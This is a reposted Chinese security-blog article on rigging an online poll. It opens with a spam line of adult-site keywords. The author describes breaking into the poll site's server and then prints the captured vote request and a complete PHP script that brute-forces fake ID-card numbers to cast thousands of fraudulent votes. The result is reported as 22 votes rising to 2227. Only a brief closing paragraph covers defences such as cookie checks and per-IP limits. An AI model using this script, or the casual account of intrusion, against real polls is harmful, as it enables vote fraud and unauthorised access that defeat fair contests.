欧美另类日韩中文色综合,天堂va亚洲va欧美va国产,www.av在线播放,大香视频伊人精品75,奇米777888,欧美日本道免费二区三区,中文字幕亚洲综久久2021

投票系統(tǒng)的作弊與防范腳本安全 -電腦資料

電腦資料 時間:2019-01-01 我要投稿
【www.lotusphilosophies.com - 電腦資料】

   

    信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)

    文章作者:fhod

    文章首發(fā)邪惡八進制轉載請注明原始來源

    前幾日朋友找我?guī)兔?說是在一個網(wǎng)站參加樣板房投票競選.有沒有辦法幫他刷第一票.心腸好的我自然是答應了.然后朋友發(fā)來了網(wǎng)站..看了下是asp的..服務器安全做的還不錯..沒找到任何程序上的漏洞..通過旁注提權入侵進去后.發(fā)現(xiàn)管理員真的是很變態(tài)..本來打算修改數(shù)據(jù)庫的.剛看了下投票的代碼準備找出數(shù)據(jù)庫連接文件.就被管理踢了..接著這事就擱下了..過了幾天朋友又催..只好又看了下..才發(fā)現(xiàn)所有的漏洞都已經(jīng)補掉..

    還是直接從投票上入手把.希望可以找到突破口直接達到刷票的目的.投票選項如圖1.

   

    朋友的樣板房名為"風 華廊"所以圖1中我勾選上了"風·華廊"最多可選10項..其中姓名.聯(lián)系電話.身份證號碼都是虛構的.經(jīng)過反復投票測試.此投票系統(tǒng)只對身份證號碼進行了驗證..假設一下身份證號為1234567890.姓名為測試.聯(lián)系電話:13013011111 只需要把身份證號碼改為別的數(shù)字.如1234567891就可以再投上一票..并未對IP和cookies進行驗證.完全可以達到刷票的目的..

    圖2是我抓的投票成功的數(shù)據(jù)包.

   

    Aname=%B7%E7%26%238226%3B%BB%AA%C0%C8&username=%B2%E2%CA%D4&tel=13013011111&idcord=1234567890&Submit=%CC%E1%BD%BB

    根據(jù)數(shù)據(jù)包構造出URL為

    http://www.xxxx.com/ad/20061221/a.asp?action=add&Aname=%B7%E7%26%238226%3B%BB%AA% ... 13013011111&idcord=1234567890&Submit=%CC%E1%BD%BB

    直接在IE里打開此頁面會出現(xiàn)如圖3的提示

   

    但只要我們把其中的idcord=1234567890改為idcord=1234567891就會出現(xiàn)投票成功的對話框.知道了投票系統(tǒng)存在的缺陷后..現(xiàn)在就想辦法利用程序實現(xiàn)刷票的目的..

    寫一個發(fā)包的程序把idcord設置為一個變量.然后每發(fā)送一次數(shù)據(jù)這個變量得數(shù)字就增加一個數(shù).比如idcord=1234567**9循環(huán)一次就是idcord=1234567*79自動改變其中的數(shù)值..

    這樣的程序用VB.C.ASP,PHP都不難實現(xiàn)..下面就介紹下PHP的..以下所涉及到的PHP代碼為EST的兄弟TTFCT所寫.

    程序完整代碼(目標網(wǎng)站做了相應處理)

   

    error_reporting(0);

    ini_set("max_execution_time",0);

    ini_set("default_socket_timeout",2);

    print_r('Voting....' );

    for($i=0;$i<=9;$i++)

    for($j=0;$j<=9;$j++)

    for($k=0;$k<=9;$k++)

    for($l=0;$l<=9;$l++)

    {

    $packet ="POST /ad/20061221/a.asp?action=add HTTP/1.1 \r\n";

    $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* \r\n";

    $packet.="Referer: http://www.xxx.com/ad/20061221/a.asp \r\n";

    $packet.="Accept-Language: zh-cn \r\n";

    $packet.="Content-Type: application/x-www-form-urlencoded \r\n";

    $packet.="Accept-Encoding: gzip, deflate\r\n";

    $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)\r\n";

    $packet.="Host: www.xxx.com \r\n";

    $packet.="Content-Length: 113 \r\n";

    $packet.="Connection: Keep-Alive \r\n";

    $packet.="Cache-Control: no-cache \r\n";

    $packet.="Cookie: ASPSESSIONIDASDCQDBT=NKKJPDLAMAMNHJHHNBBLOCCH\r\n\r\n";

    $packet.="Aname=%B7%E7%26%238226%3B%BB%AA%C0%C8&username=%B2%E2%CA%D4&tel=13013011111&idcord=1234".$i.$j.$k.$l."90&Submit=%CC%E1%BD%BB\r\n";

    if($fp=fsockopen("www.xxx.com",80,$errno,$errstr,50))

    if(fwrite($fp,$packet,strlen($packet)))

    print_r(

    '

    Success to vote

    ' );

    sleep(2);

    print_r(

    '

    Wait for 2 seconds'

    );

    }

    ?>

    懂PHP的朋友一眼就能看出,這只是個發(fā)包的程序..其中ini_set("default_socket_timeout",2);為發(fā)送數(shù)據(jù)包的間隔時間為2秒.

    for($i=0;$i<=9;$i++)

    for($j=0;$j<=9;$j++)

    for($k=0;$k<=9;$k++)

    for($l=0;$l<=9;$l++)

    是設置好的四個變量.在下面的數(shù)據(jù)包中..idcord=1234".$i.$j.$k.$l."90 自動生成idcord為一個不重復的數(shù)值

    利用程序寫好了..下面就開始刷票..因為是PHP程序..所以要找個支持PHP的空間來運行..就算沒有空間只要安裝AppServ也一樣可以..AppServ可以在http://www.skycn.com/soft/13703.html免費下載到.安裝過程很簡單的..這里就不說了..

    先來看下未刷票前.."風華廊"的票數(shù)是多少...

   

    從圖4中可以看到是22票..接著我們執(zhí)行PHP代碼..

    如圖5..

   

    出現(xiàn)"Success to vote"就是投票成功了..

    因為我設置的是2秒鐘投一票..一個小時也就是1800票.所以經(jīng)過一個多小時后"風華廊"的票數(shù)成了2227票.圖6

   

    朋友的作品理所當然的就拿了第一..而我也因此獲得了一頓豐富的午餐.

    其實這樣的投票程序只要加上cookies驗證..一個IP只能投一票..每次投票的間隔時間..等措施就很難作弊了.此文并不是要教大家如何去刷投票.只是想以投票的目的讓大家知道是如何刷票的..并在知道刷票的同時怎樣去防范它..

最新文章